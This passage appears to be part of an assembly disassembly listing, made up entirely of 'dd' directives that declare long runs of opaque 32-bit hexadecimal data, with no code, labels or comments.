		dd 31216618h, 0B9200510h, 62F05F13h, 383989F0h,	6A1DC950h
		dd 90008329h, 0D563C626h, 0AF661CC3h, 950643DCh, 0C7E4C209h
		dd 0B286931Eh, 4B071FFFh, 786683D1h, 0E41E1874h, 0F18FBE23h
		dd 46E6E69Ah, 0C38DFA39h, 2685AD30h, 0D38C04B9h, 0F169A3F9h
		dd 0C2DFF4E6h, 1580A61Dh, 0B78783Eh, 87BD261Ch,	66DE6C6h
		dd 756E0310h, 5DEE46C3h, 255C380Fh, 708386DDh, 0CFB80310h
		dd 7F22F2E2h, 6D92B2A0h, 48D48000h, 248D111Ch, 34DB0062h
		dd 30430159h, 8107D121h, 323DDEB9h, 0A0AFD3E3h,	0C07FA9E6h
		dd 0C3D6EEA8h, 0E9DE5AA6h, 1E3CC91Dh, 4600D3F3h, 0CF0EB92Bh
		dd 18CE9830h, 876BC6Fh,	0EB00C1C3h, 3348A93Ah, 0E93542EFh
		dd 7424BEF0h, 39BD200Fh, 0E18B675h, 0EF185A4Fh,	1E0D7CACh
		dd 1C25DBCFh, 0E91012Fh, 988F546Fh, 0EF38D908h,	0AF10C172h
		dd 0F80CC6A2h, 48C2933Ch, 0C02FAEE9h, 1F18B6Dh,	40303339h
		dd 0CC82C706h, 0F800E1D9h, 0B7D2F936h, 8152F0h,	0E0CB7FEFh
		dd 0B60F0EBEh, 8F0D7107h, 4F416F72h, 2FE07051h,	0EBC60CB1h
		dd 0AFD05B1Ah, 0C0388933h, 4FB81828h, 70EF40A4h, 91B82363h
		dd 33AFE137h, 161B20BCh, 3B83C076h, 0DC75100Fh,	0B0DE8C0Ch
		dd 0DCE143DBh, 850E2309h, 584773DBh, 875F4BEBh,	0CC83E8Fh
		dd 0AB408083h, 9B38C30Fh, 0A080157Ch, 434D789Eh, 5E0B0CB8h
		dd 62FD5097h, 9456F072h, 0AC0FA883h, 807D5BB8h,	9E0450A7h
		dd 2B60C8D4h, 40C29CFEh, 4213A101h, 86CC154Ah, 993F0BEEh
		dd 504BE240h, 28CFC024h, 3A9C0AA9h, 1F783A67h, 733349Ah
		dd 0CC0E9D18h, 4B49AF09h, 0B8142818h, 0DE5DCF01h, 0D92C0F0Ch
		dd 85E2EFD0h, 0D5AD5E60h, 6B44A8B7h, 2FAF2B3Fh,	53EE7ACh
		dd 8B1C20D3h, 5890F363h, 818069E0h, 0A83857D7h,	30AC8EC5h
		dd 510DAB40h, 2A152FE8h, 0F2A438C5h, 0CB44B086h, 334B0A4Dh
		dd 5680DC4Fh, 89E72623h, 0C80EDEEBh, 3DC0912Ah,	88AEE514h
		dd 9857EA8h, 0A023710Bh, 48243E5Ch, 0CF049485h,	348AA287h
		dd 0C34C1E8Ah, 900C572Bh, 480EDE8Fh, 13A63FC6h,	0F838E324h
		dd 0AC12EE69h, 3446BDD3h, 26900C1Dh, 1228C468h,	6F5C0233h
		dd 98BCA279h, 131F311Ch, 14467892h, 2B809FAAh, 0C090AC14h
		dd 3BD38D10h, 8087F044h, 0B893158Bh, 484B70ECh,	1C449445h
		dd 0A2802BABh, 0E3704C78h, 51C4653h, 38DB17CBh,	48EB706Ch
		dd 1C45F0D2h, 0A1E53EE4h, 9430B594h, 9590Fh, 0C7D8A1Eh
		dd 2F16B3EFh, 13A0F604h, 0D8C150AFh, 95DA2E4Fh,	70A3158Ch
		dd 0E3031C94h, 9921AF0Ch, 873A44C7h, 2449E248h,	0BC02DD05h
		dd 0BCD848CFh, 0CC132368h, 4FF92B84h, 75BEB081h, 90EC8430h
		dd 9090F44Ch, 6226F8DCh, 4A0BD270h, 76F33C63h, 0C74CD07Dh
		dd 3023262Ch, 49E9BA3Bh, 21E0E6F0h, 8010201Bh, 50674B0Eh
		dd 832FCF85h, 0AEB94F94h, 27E94213h, 0C544A482h, 0D831EC6Fh
		dd 8E09CD63h, 0D9126B59h, 4864E5D8h, 94F54832h,	8C705B2Ch
		dd 17049CCh, 60D4A950h,	1AF09063h, 0E0D049C4h, 0B840784Ch
		dd 0B07C4CCFh, 0D9E68F0Ah, 0E821F3B4h, 4A8B4253h, 4C0FE081h
		dd 44808B73h, 479C0557h, 836AC4Ch, 0A829510Fh, 0A294F0E0h
		dd 4F6C6284h, 0F480207Ch, 0AB1D8ECCh, 793B8743h, 50089764h
		dd 5BE1CF02h, 609D8C86h, 84E60F13h, 9AB42106h, 0C9CA7FE0h
		dd 50A6CB08h, 2BE82027h, 0AF287090h, 0C0E4A075h, 5C107C64h
		dd 72130F87h, 3A281969h, 8531406Ah, 681F6F08h, 74350083h
		dd 84185DF8h, 0EA4D4003h, 41AF6EBAh, 0E06693DAh, 0CCA0BF3Ah
		dd 0DC983DEFh, 476B8F13h, 101C9C0Ch, 40835C2Fh,	23513174h
		dd 8CA2BC48h, 883ABFC8h, 0EFB8C05Fh, 3B190DC9h,	53BD3Ah
		dd 7DD42AFBh, 0BB87C1Bh, 0F37E9B18h, 0C0636B80h, 693ADB1Dh
		dd 50BB07BEh, 0D24618B7h, 833B7D08h, 88C12399h,	1BB96620h
		dd 3FB0813h, 0BDD7111Fh, 6F71B08h, 8024327Bh, 1B503F3Ah
		dd 0C0185F5Bh, 0F81AEC41h, 0D8ED7493h, 52BB1090h, 469B20C4h
		dd 0F2AEFB03h, 910A032h, 8860F38h, 0F70070BBh, 0C0CF76F3h
		dd 3AC3FAAh, 604E5B0Ah,	4D80A897h, 0DD03A62Dh, 3ED31E8Ah
		dd 891BB0D7h, 0B2AC3A5Fh, 0AE3FDB0Ch, 1F505EC0h, 9B3A2C90h
		dd 0B962311Bh, 0DBF04F49h, 84D606Eh, 5B1DBC63h,	7DD5D803h
		dd 79B5A57Bh, 0DBA8A0B0h, 1B08C587h, 0DAA046CDh, 606108BCh
		dd 0B6887B10h, 5B2871B1h, 9BC88C3Dh, 0C6E139EEh, 19963B08h
		dd 7AFBA488h, 0D110BA64h, 1E0D1B05h, 51590C90h,	0F40AEAB8h
		dd 84C10F76h, 8340C78h,	9F955E15h, 0B6CA7F61h, 906E7BD0h
		dd 0CF9BE810h, 0B26CFBE8h, 1D50A678h, 2862CA84h, 83C52008h
		dd 0E9C24980h, 9041139Bh, 0F041EDBBh, 0C187913Bh, 0F0E6BCD4h
		dd 53E40E54h, 88112100h, 0C1C5AA27h, 79DC0084h,	0C64138B0h
		dd 0FB0025FEh, 0C87DCBC4h, 1CAFC0F1h, 4077390Bh, 13E43011h
		dd 0D3F095AAh, 0E3DEEF00h, 0E5B89873h, 0B9263AF3h, 0B737130Fh
		dd 0E4765303h, 0E674207Eh, 6D619301h, 0E1BDF3E7h, 78BFD3F0h
		dd 1A730F6Bh, 5D07E5B3h, 48138043h, 67298812h, 0DA6050A9h
		dd 2136B352h, 9786BD43h, 3A603DBFh, 333D5275h, 0A6838094h
		dd 0B3056F3Eh, 3D87E2ACh, 33F8882Ch, 845F4F7Ch,	0AB777h
		dd 0E6BE1C53h, 0A03C61B3h, 0EC816A7h, 0A202B101h, 8FC4DE09h
		dd 0C04F8210h, 4A281BF7h, 0EF00557h, 2C17E788h,	0B80E1A20h
		dd 0C13CCF57h, 1154774Ah, 0E203885Eh, 3D1A3ADEh, 0B3973010h
		dd 30F75042h, 0CA923C73h, 0B4D7A4A0h, 52E01093h, 0C44066EBh
		dd 10B5F731h, 0CA82F068h, 0C9F83142h, 4E0A1730h, 0FA69C050h
		dd 0C297D4AFh, 105CB7E0h, 208C88BCh, 0C088F48h,	8412493h
		dd 0DC77FEACh, 0D2DD0310h, 96C00197h, 280F2237h, 1D8FC9ABh
		dd 6031A140h, 1C9A127Dh, 0FE58Ch, 41C4ADF4h, 5D03A056h
		dd 1BA60127h, 99B4A808h
		dd 0C0207AA9h, 2AB92869h, 87971651h, 0F340C24Eh, 26BF5Ah
		dd 25301367h, 11C543BBh, 82DB8500h, 0BF58B538h,	2B0407E6h
		dd 6C9B4DB6h, 53714AA8h, 99D23600h, 2645BF59h, 0B20F0016h
		dd 3E570C8Ah, 98C0BC86h, 9325FFE7h, 13EE00DCh, 8B7AA490h
		dd 0AA04A0D6h, 376A68F0h, 7D6FBC80h, 0C6300F8h,	65A86220h
		dd 94A0A63Bh, 3F40CF46h, 8B1F0794h, 60904333h, 79714DB9h
		dd 2ACE5C03h, 0FA9EA6F0h, 2BACA07Ah, 0F55595Eh,	991D7E23h
		dd 0C946C340h, 66024B18h, 73BE0D75h, 53D48076h,	5BC0B74h
		dd 79E60882h, 4FE9814Ch, 6957D494h, 0CA617000h,	2B93E095h
		dd 5A460096h, 1B49150Eh, 410734AEh, 7FCC3BBDh, 4CBB2910h
		dd 767900BCh, 0D0AE5952h, 7A004F6Bh, 13E39E0Dh,	0F620E478h
		dd 0AD7E0004h, 0C79DC594h, 0A600FD41h, 167C757Ah, 0F9898Eh
		dd 2D816735h, 765B8DDBh, 0D5699A00h, 5D57E0AFh,	80DD00DFh
		dd 8EBE392Ah, 0E4008347h, 74890756h, 72039Ah, 0FE1B061Eh
		dd 7A6B290Ch, 0D8D24500h, 0BEFBD192h, 0DA590074h, 71B2CD0Bh
		dd 1E00C5C9h, 91CAEA69h, 24F113BCh, 4C10C3h, 0DA0559DCh
		dd 4A070639h, 0B46C5FA0h, 64D7F230h, 0D3A0022h,	0DE589FCDh
		dd 87FCE745h, 0D4BB8400h, 4FD6FB21h, 88CD26F6h,	80041F62h
		dd 0CBD02992h, 6300865Ah, 6DA2B6F9h, 3996E461h,	58021C3h
		dd 0FE0A73C5h, 400084B1h, 69A3FF47h, 5556A2Bh, 3208A8DCh
		dd 15F40033h, 9D0AFD1Fh, 0AB008372h, 6C21A939h,	9E9352h
		dd 0E8C6AEC3h, 0C15AC907h, 96B21101h, 294A66B7h, 0E43F49E8h
		dd 0B9C23DDCh, 0D2A80D07h, 0EBCAF090h, 3303A72Ah, 84BA0861h
		dd 0C327D0ECh, 940C00C2h, 2F65E33Ch, 0F270D298h, 0C1804890h
		dd 290161Fh, 3F465B1Dh,	0F0BDEB40h, 39FD7AAh, 7968C7E8h
		dd 1100DEB3h, 3B141152h, 18D4EC50h, 18DA020Dh, 410F31B1h
		dd 408A7646h, 471CF30Ah, 0A1E90006h, 4D870EACh,	9100650Bh
		dd 6DD2F40Fh, 3E307975h, 0FFEDE2Eh, 0F0B74669h,	97E7CAC0h
		dd 2D00456Ah, 1270833Dh, 301ED4C6h, 221032F5h, 7F036C91h
		dd 2C44C7AFh, 0DCC9A8B6h, 7E1E0526h, 80A6AE4Fh,	0FDA712D5h
		dd 8071DE3Ah, 0B738BAF3h, 0FF26753h, 656AE170h,	3674DB00h
		dd 2300B139h, 0A366FDBDh, 3BFA3459h, 5FBE1281h,	5875DE80h
		dd 89E4133Dh, 51E5BD00h, 372E3B52h, 8EF40005h, 0FAA63FBBh
		dd 50006846h, 306177E4h, 1A38DFh, 2ED36795h, 317A6CF6h
		dd 5CD13Fh, 0DB021EB4h,	7134BE0h, 0B10B51A0h, 939DD74Ah
		dd 21C8E8D6h, 3E001DECh, 35A524DAh, 269BA07Fh, 230D071h
		dd 60B07346h, 9DA7BFE0h, 3D00E3B8h, 24E48011h, 870FA1h
		dd 7F57C633h, 7844B240h, 7499D00h, 5C4F46F7h, 6D010095h
		dd 31DFF354h, 0BE265E0Dh, 5300330Fh, 1194A9C9h,	57C400F6h
		dd 1C6B0E1Eh, 8507CFCDh, 0D3E41823h, 0C328A2A3h, 1EFD0DFh
		dd 0C28C00AEh, 7031A7ABh, 0C800B85Eh, 2BAAC043h, 3EEBEEBh
		dd 0ABA3F5E7h, 0D1809334h, 0D6173E80h, 0B9006A37h, 0A8FF9164h
		dd 414A0059h, 806EE339h, 37001A0Fh, 9C64EFB0h, 3A1F9D8h
		dd 3223D3A6h, 96001301h, 70DDA4DAh, 9C424Eh, 548356FEh
		dd 44300E45h, 10A2AF00h, 0C9914D21h, 424A3905h,	39C37000h
		dd 36D7BA55h, 9BB87102h, 600B5FC7h, 6CA57Eh, 30B42CD4h
		dd 0CB3C38F8h, 0D24AAE00h, 1A172BA2h, 5A4E00DAh, 98A412Dh
		dd 0CB004DCEh, 0EC2C9C3h, 5B163963h, 0E2C2A096h, 0D3EFAD00h
		dd 0A85DE353h, 706300C4h, 90FC35E9h, 5400B579h,	0F5808D5h
		dd 91DC3F9h, 88CB507Ah,	0C60FEF0h, 7F926AA6h, 0C82600A7h
		dd 0A0E4F7B0h, 8F0050A6h, 3264EB4Ch, 4892553Eh,	9B3D07B3h
		dd 6B775800h, 0DA901F21h, 0E4043Dh, 42F3F7AEh, 82EEA2h
		dd 2BDF4D25h, 0FD91D5FEh, 0E6FBC3Ch, 201854C5h,	2EA02C96h
		dd 0EE630020h, 32C8744Bh, 0D8E0360Eh, 4500AAEEh, 8BC1F4E8h
		dd 0EAFE0B8Dh, 996309D7h, 7080363Dh, 7D89FCAFh,	0F5EC2F09h
		dd 6D220090h, 3808E0h, 713F83FDh, 25BE6714h, 2954F101h
		dd 79F59728h, 0FB11F8h,	84DBCE1Bh, 0FE5713A6h, 9242D700h
		dd 0A8DAE35Dh, 0F1DF0014h, 9AD4E250h, 0F91CB1B3h, 5352C866h
		dd 8FB9800h, 0ED7D38Ah,	38200B44h, 0C31401Dh, 51BC542Bh
		dd 0FA03C400h, 91537B6Fh, 616B008Eh, 0B21E5045h, 0E126356h
		dd 2100AA2Fh, 9D10FC34h, 806900B9h, 3537079Bh, 27253BD4h
		dd 0CD7C5Dh, 0EE94340h,	101E67EBh, 81007A4Eh, 529F1162h
		dd 0D8AB009Eh, 38A73E61h, 86012DE8h, 0FC2C4EEDh, 51ECC2FAh
		dd 809C0070h, 81134C43h, 6101CC26h, 2B1FD295h, 4EC9FDEFh
		dd 9755C24h, 0ECCC719Ah, 49895400h, 30FD66B4h, 2178113h
		dd 90093E9Fh, 5F680EDh,	0F8F70F50h, 0A42C2C21h,	5DBE0186h
		dd 0DFE5EB45h, 0C7E456A8h, 8CBF5B12h, 25EA0800h, 7193351Bh
		dd 8641F45h, 0C3314EC5h, 0F25DD961h, 0E04360DEh, 87B07700h
		dd 0BBA383B3h, 0C911005Eh, 3D21D92Bh, 10F449A7h, 3EFBA51Ch
		dd 80A36E0Eh, 0D2682C7Fh, 60C41FB1h, 0C8E2C04Fh, 6240F5BEh
		dd 0D04C7C00h, 0F28C599Eh, 78140036h, 1620E013h, 380790D4h
		dd 9B87347h, 64831D77h,	826881EBh, 0C1ED20h, 4511D20Ch
		dd 78BB7CECh, 0E600277Ch, 7464DB8Eh, 222196h, 2969B437h
		dd 5CE275DFh, 0CFB11A1Ch, 5EE92E80h, 373FEBCh, 0C899266Eh
		dd 35F07133h, 44EC6F19h, 0C2CE4200h, 1E64A27h, 5FA400BDh
		dd 4B5EE3CBh, 15700349h, 0FFFE7F07h, 9080352Bh,	98A2B581h
		dd 0C2D20208h, 72C99A52h, 0E1A8E48Ch, 6DCBD300h, 5860C1Fh
		dd 0E4CC0FFBh, 63C05EE7h, 96AA3E77h, 0A8EF360Fh, 0A05CC325h
		dd 6970B708h, 0A7C858h,	2661F65Fh, 718483FBh, 3ADBD100h
		dd 0F365B744h, 0D9DC0482h, 0C02E548Fh, 7640DF2Ch, 9C78BC00h
		dd 74035D9Eh, 8BDD006Ah, 858809A5h, 0A4241416h,	80BB0010h
		dd 8A72F95Ch, 0EA1B1A5h, 5164F023h, 8921E320h, 4C00F884h
		dd 1EE903CCh, 90EF7492h, 49C20430h, 0FC4F41h, 0AD4605B9h
		dd 809E0E68h, 0F1C09F13h, 78EA5B86h, 0AFED1400h, 0F55E3484h
		dd 85950030h, 0D5F6B89Eh, 0C601F135h, 65C00512h, 0D6F052CDh
		dd 0BDC70055h, 1468907Fh, 0F200AEB3h, 0EB4F3776h, 168ADA2Eh
		dd 3993973h, 63B42B34h,	3DEF2000h, 724F80EBh, 1BF6E840h
		dd 0E80FFB12h, 31609282h, 7B0E4691h, 452589A6h,	0E2C1C89Ch
		dd 8FF03B7Dh, 958A1ED5h, 71F1C8Ch, 0E0201A45h, 4EE825E0h
		dd 9981E600h, 6B010998h, 0BB0002Ch, 293811B8h, 800C2FF4h
		dd 702BF3D2h, 4D5A0342h, 0EE433F05h, 0BEE20CEh,	0D99CF10Dh
		dd 5EECB890h, 7650A0D0h, 0EB381E67h, 17A94055h,	0BB02BDC9h
		dd 0EE1CC400h, 3C8EABE3h, 0B23D009Ch, 2B747B93h, 4C00EBE9h
		dd 0BFA58F1Ch, 0ED1E718h, 26D0A44Ah, 3132EA63h,	5DCC0998h
		dd 99CB9517h, 0FBE0E000h, 4AC1FF6h, 0AD34A389h,	0E8E7C03Ch
		dd 0A20EDEA7h, 0AF663EC7h, 53B20031h, 1F7F753Bh, 26CB3057h
		dd 871A00DCh, 1D4B2A9Ch, 0E1659300h, 334DD453h,	96D4FF3Ch
		dd 8EB54CFBh, 0CE662800h, 2F2484DCh, 6482900h, 95AF8016h
		dd 5AEC005Eh, 0E2E53E10h, 86B0A15Fh, 67FE0303h,	90344191h
		dd 7DA657B4h, 73641CDBh, 942FC05Dh, 0EBC854C7h,	1AF1B900h
		dd 0DBF05FF9h, 473F004Dh, 9FA3E97Fh, 0CC00AB5Ah, 0C1C33EA5h
		dd 0F7CA992h, 0F9336B9h, 0FF40EE4Fh, 0F4E253BEh, 12061307h
		dd 31D0F820h, 36B7D18h
		dd 29DCFEF3h, 708FA316h, 0F8132A0Eh, 0F9046300h, 40426121h
		dd 275D186Bh, 2E0A49E4h, 2A306E0Eh, 574240A4h, 1DD6A0D5h
		dd 5B1697h, 65910883h, 103A894Eh, 827EFD87h, 88F7EC0Eh
		dd 0B5FAE206h, 0E2A88041h, 0E572Ah, 0FDA196B7h,	7816C535h
		dd 0BF003C7Dh, 87AA6422h, 1F50Ah, 0DC083E1Bh, 9DCB6CB2h
		dd 0EF864C05h, 0C40099EAh, 7398ABCAh, 278A814h,	54D40031h
		dd 0BA2329C9h, 0A63BB369h, 0BC778758h, 60107379h, 18873291h
		dd 0E86A8548h, 2E00E74Bh, 408D30B0h, 0C64FE94h,	766C6F61h
		dd 5D000E90h, 0D141743Eh, 5316C2ABh, 70004485h,	0E4B0FBDh
		dd 8C004FFEh, 7897D30Bh, 12C90733h, 43AF40BBh, 0B5156E10h
		dd 56663188h, 0A254E4B8h, 0A8C02AB4h, 2471A667h, 95890DF2h
		dd 9FB9699Fh, 0C0407288h, 7D8540FBh, 18ECA62Eh,	91EDE884h
		dd 16E21AE7h, 2F4EA500h, 0C2E44DBFh, 99960098h,	0A0321207h
		dd 2607B382h, 0AA577995h, 0A671A830h, 6AF93011h, 0D60ACB71h
		dd 0F0B93Fh, 401095DEh,	0CDDCFDh, 0E5A9ABB7h, 0DD1A993Fh
		dd 7AA4E604h, 8882FC38h, 10918029h, 9961CF6h, 135F8E72h
		dd 0C3180005h, 4200AF4Dh, 0E18CDB12h, 43BEE6h, 0C196FD74h
		dd 8722A366h, 6F02D100h, 0A2E4F755h, 8F7B5085h,	17A7438h
		dd 1AD9CDE7h, 20EB486Ah, 0F8003536h, 0A2E11688h, 18D667h
		dd 8F7130A4h, 0C5B24259h, 689B39h, 0F1697A43h, 572C89h
		dd 67E318B6h, 63C26FDFh, 0A4B4E703h, 0BFE6860Ah, 699BB1A0h
		dd 2F2200ADh, 41245E56h, 783DF34Ah, 991D0087h, 52E276A2h
		dd 0BC173D6Eh, 704BB400h, 5C624C8Ah, 0CF6CDC0Fh, 0BE6380AEh
		dd 0C0EBA2F2h, 4A0EBC4Ah, 1700E691h, 58AE3F0Bh,	24734Dh
		dd 12856999h, 0EACDD0C2h, 17E2B200h, 0D62CD21Dh, 74BC0011h
		dd 0D5B44A93h, 37E29E28h, 0F6F04C72h, 987D7230h, 739FB88Bh
		dd 2C540047h, 0BFA0DD09h, 9A00F70Ch, 0EB439DB7h, 17E13Fh
		dd 40FD213h, 0AE7C06B2h, 546DAB14h, 0A7A91874h,	3607529h
		dd 70ADF3E3h, 3EC01FAAh, 0CC243398h, 2F07B1C6h,	7FD0C7CDh
		dd 3971795Dh, 7600779Dh, 614903Eh, 0DC02C2B3h, 1C47ECF0h
		dd 0F647603Dh, 59D70063h, 0F4CD10DFh, 4E00038Ch, 2A26660Bh
		dd 2A21A52h, 0B0D96CC2h, 6BE070B4h, 6D032B2Dh, 4E1399B8h
		dd 20B7B080h, 786500AEh, 139CC28h, 0FE0127BAh, 0E5740418h
		dd 5470B4A2h, 1CEAE437h, 0EE92822h, 6BE3D780h, 3F0C68Ch
		dd 4C750448h, 0AF1E50C1h, 0E960CD0Dh, 62F4E706h, 141700EAh
		dd 0E1B20529h, 0F700D026h, 549D7094h, 0FE06D201h, 113A00D3h
		dd 4345BD7Ch, 0AD009BE0h, 8C828610h, 73EFC326h,	0B8D0346h
		dd 0EAAFE8CEh, 79A0A000h, 0F9506BDDh, 0A952600Ah, 9A64B5A3h
		dd 0EB6F4801h, 0C240567Ah, 0D54E5980h, 9E70D984h, 0AA1DFD00h
		dd 0FF912252h, 281E3041h, 0F087D640h, 4C7C7603h, 0D8C15E0Bh
		dd 0F6CCF48Ah, 2D410538h, 6021973Bh, 31F730A8h,	6EFDC901h
		dd 18E76865h, 0FBCA0C6h, 0AC6DB159h, 0ADDE0334h, 0ED1637EFh
		dd 0B192B490h, 6D0C1AF0h, 0AE6E76DCh, 0C560060h, 0F390A70h
		dd 9D001FBBh, 2AFA473Ch, 6AE36F7h, 0C2CA5E27h, 0BE093834h
		dd 1CA8E6h, 0A4602AAh, 0D98A0121h, 0E52CF953h, 83042467h
		dd 9003EDFCh, 78C27330h, 5908E052h, 883E5254h, 0AA69A8C0h
		dd 0F915930Ah, 1C802A29h, 8B802808h, 0D8B2328Dh, 9BA7003Fh
		dd 0E44D6B3h, 8000FF59h, 8E91725Bh, 0ECC54Fh, 957904E6h
		dd 0B9EBF38h, 489E024h,	5C8FD303h, 0F164030Ah, 3AE73DA6h
		dd 8486913Dh, 0BBCCC745h, 22B75FC0h, 0B2D7003Ch, 3E4E3178h
		dd 0B40E039Dh, 613923FBh, 0B797E45Dh, 62832822h, 20A81EC5h
		dd 663F0A48h, 0DA5680BFh, 14450155h, 4ECC1824h,	51C431AFh
		dd 0AB4FD826h, 63045D00h, 3E1E862Eh, 30E0A42Dh,	9ADB007h
		dd 7358BD0Dh, 0FB2039C5h, 0E21F1CB5h, 0B209BE9Eh, 70F522Bh
		dd 544465C5h, 3B000CB8h, 0E179D1A9h, 7B2EC9DEh,	5300C3CEh
		dd 1B6D4098h, 4E98C6h, 0A6A720Bh, 34B50618h, 0C3B7E101h
		dd 98F16070h, 125B1D20h, 47F045EEh, 0FE7DD288h,	93E1D5C0h
		dd 990F1E9Fh, 8047D937h, 79F94FC5h, 67FE38h, 64D7FC3Bh
		dd 0AF966AA7h, 1B0B2704h, 7C90C71Ch, 0C06E324Eh, 45E0C27Eh
		dd 0A096CB5h, 231FB0FFh, 0FFBBB90Ch, 0E1D288E0h, 5A7FC5h
		dd 0A71D35A2h, 2C38CA5Bh, 0A6D03F50h, 4AA1ED60h, 18DCC3A2h
		dd 685FADCFh, 0F144B07h, 39A0442Dh, 0D4DF0F1Dh,	45E7002Ch
		dd 0A0C40D2Eh, 2B41BB8h, 387DD601h, 0F020C39Bh,	99834C25h
		dd 3D20908h, 0A1354480h, 9801705Eh, 8A7ABB5h, 69C82271h
		dd 670C933Bh, 0A829A0E3h, 0AE98B7BFh, 0CF0C3100h, 0E40A7919h
		dd 78E93CF3h, 75E51B80h, 85EEC9E6h, 0DD4F5F00h,	5E9982C2h
		dd 0A00B002Eh, 3BB03CCDh, 0BAF0FC52h, 0BC15AA3Eh, 0EFC787B8h
		dd 95F011CAh, 3F5D99h, 0E8A58B13h, 0B9103C0Eh, 0AA00F8F6h
		dd 0C14CE30Dh, 0E67CB0h, 546EE8CFh, 5097CC2Ah, 0D3C47E00h
		dd 0BF89096Fh, 0D57B00D4h, 0B9C68404h, 0AC00D26Bh, 44DC91F1h
		dd 0F10F2E20h, 0AECC2849h, 286761ECh, 804AD7DCh, 46410219h
		dd 60A5A342h, 53BFA9CDh, 7724E16Bh, 6300C218h, 8EA9468h
		dd 92B9C01Bh, 5ED344CAh, 0A0E2E907h, 6F50E053h,	0C2D23A86h
		dd 0D9E73558h, 75D03F40h, 56103Eh, 0C134B774h, 17167D6Dh
		dd 0CE3FF0h, 940E330Eh,	450029EDh, 0EFC8846Ch, 0DDEBC1h
		dd 7A91C3C5h, 3C120B95h, 806D623Ch, 0D04D4ED5h,	2A51B0BBh
		dd 0E88C8C69h, 154714B8h, 6A00D471h, 9B98D6FCh,	0B20AFEE2h
		dd 449F29BEh, 0D943B080h, 0EF3C4h, 7F8CE4D1h, 8AB2DE2Ch
		dd 0E195BE00h, 4D4354F4h, 0F91B0085h, 0AD673781h, 0FE001994h
		dd 715C415Bh, 743E9A9h,	8D86AB84h, 0CE770329h, 73746DE0h
		dd 0F30FBD03h, 0D863072Dh, 388A2C6Eh, 3DF06C30h, 92005C72h
		dd 76667128h, 47EA4E0Eh, 22C4EA00h, 0F10CABEEh,	0C37430D7h
		dd 0B9EBF390h, 3C9D4Ch,	48941D4Dh, 1229F4Bh, 0B7D0AE56h
		dd 319D8EDFh, 0D313C8B8h, 0C6BEEC00h, 0A85715C7h, 0C8C00EF4h
		dd 83E0417Eh, 715D6A84h, 0B4543E00h, 2A66C33h, 7F0D001Ah
		dd 0EC2106F6h, 447136E9h, 904B8000h, 57A247DFh,	8D9A006Ch
		dd 71F5F9A8h, 353EFEECh, 7E7380C7h, 5B42DD08h, 0B7F6A6h
		dd 8DE90253h, 56DC12BAh, 765EF50Ah, 0AD8098E6h,	62E45828h
		dd 24714C05h, 404AFD1Ch, 0DE343104h, 0B141651h,	28890E1h
		dd 0F0586CC8h, 2BB08061h, 1AFE9CFh, 0A3FFEB6Dh,	0D05703C7h
		dd 9924AB85h, 1D00239Fh, 0F3BEFA26h, 19E330B7h,	6BDBFD48h
		dd 0B69C9A00h, 446F2A70h, 0C0FAF8h, 96E68EB5h, 0EEBA8CABh
		dd 0CC513A00h, 0FF408DA2h, 793B189Ah, 84B29877h, 3BAD600h
		dd 1163809Dh, 56CA4F4h,	0CA629485h, 5100032h, 6F81FEB3h
		dd 0A0062F28h, 0BF00CF98h, 5E15DCE0h, 0CF4919h,	1CA198D1h
		dd 39553EBAh, 0E101E4EEh, 0F586745Bh, 0D040A928h, 0EC1C2970h
		dd 0C0555030h, 0BB200057h, 3A8CFDC1h, 6F4C17F1h, 213009Bh
		dd 3238F9F4h, 5CBD2C43h, 23B00108h, 0CCC0AB44h,	291D92E1h
		dd 5B00FBA7h, 0A6643EC7h, 0F1460034h, 0D7890C40h, 4FBAB636h
		dd 74011976h, 0E3CE1309h, 2FCC4CF4h, 9C310EA8h,	0A1209444h
		dd 38996C32h, 22617918h, 110E68h, 4B28A967h, 0DEBB85Eh
		dd 0EDB4E200h, 159C3724h, 4F49C748h, 6E832046h,	53018BFBh
		dd 0A7A6F8D0h, 37D8EA0Fh
		dd 319100A8h, 0E33F857Ah, 4C3EF18Fh, 5338044h, 1D2ADF4h
		dd 9C420093h, 58B1BEA4h, 0A6503CC1h, 290EAB64h,	0A033503Bh
		dd 77780443h, 0A74A0535h, 0C32F7961h, 0A900A3B7h, 0E16C4898h
		dd 3B8CEF24h, 4100B8C9h, 7175C7EEh, 1600DAA2h, 0E418D2D8h
		dd 770EF2h, 93CED7CBh, 1FC73086h, 0BCF76E72h, 465303D8h
		dd 0DB82FA85h, 9D649837h, 0C8A029F2h, 5C730310h, 8000EEB0h
		dd 254E943Fh, 90931Bh, 77DA4F87h, 32A82A30h, 10F17128h
		dd 22A13826h, 4C1D5B16h, 60070F8Fh, 81F15C46h, 82F40715h
		dd 805D7937h, 9DA968F0h, 0DC97FA00h, 87BFF68Dh,	821B0F63h
		dd 90836A8Fh, 1812C82Dh, 0C00AE77h, 7136C1FCh, 0BE2E002Ah
		dd 551F53D7h, 1A0024C0h, 0A9E614DEh, 4CBF699h, 6DD3BBD5h
		dd 113C8010h, 0A80087FFh, 0E4C1E592h, 0E62EDEBAh, 2DB300F3h
		dd 0A92167C0h, 2F26FFE1h, 620095EFh, 6C5891FAh,	0C33C1C26h
		dd 6DF040F9h, 6B6AD89h,	959FA600h, 1CBA529h, 2CE00114h
		dd 0F52162Eh, 58C980B2h, 275B401Eh, 0DFCA1573h,	0E3CE8B6h
		dd 58294718h, 0AB046EDEh, 0BAF17D7Bh, 0D4449Ch,	3F9EA959h
		dd 0BF38446Ah, 2F0739h,	0AFECA3E8h, 5CDC9DF9h, 0C2263131h
		dd 23610009h, 0B505E3A9h, 9EDDE100h, 11EB96DBh,	477B2D02h
		dd 0FD39C97Eh, 81CE193Eh, 2833CA17h, 48CAB94Ch,	50B03B94h
		dd 7E588C1h, 0B5B1513h,	0EF6E6793h, 0D248F880h,	3F033532h
		dd 0D030E828h, 0DF98002Eh, 9EF6C339h, 26006D21h, 8BB8667Dh
		dd 0CCA11Dh, 0C33B46C0h, 8A1B3035h, 23376B00h, 79319DA8h
		dd 157AEA71h, 0B8ACD310h, 6B85047Ah, 80FD893Dh,	0B35BE28h
		dd 577D6E01h, 0AA76D5DFh, 7901930h, 87AF488Ah, 0D18B309Fh
		dd 400B4F4h, 0BEDAF333h, 0E8963B23h, 4902Fh, 3EAA21ECh
		dd 0E11E5172h, 0F5159B1Dh, 0DE40F80h, 0B18641h,	0ED7202E9h
		dd 0C38F183Bh, 908CE03h, 0B0C9E79Eh, 0B05E6BAh,	1783DE76h
		dd 1C5F320Ah, 0F87980AEh, 0D7A1A49Eh, 53ED4501h, 1BF3DF67h
		dd 79788FD4h, 0EFD300EBh, 7F415040h, 2300B4C4h,	0C9C1C2Ah
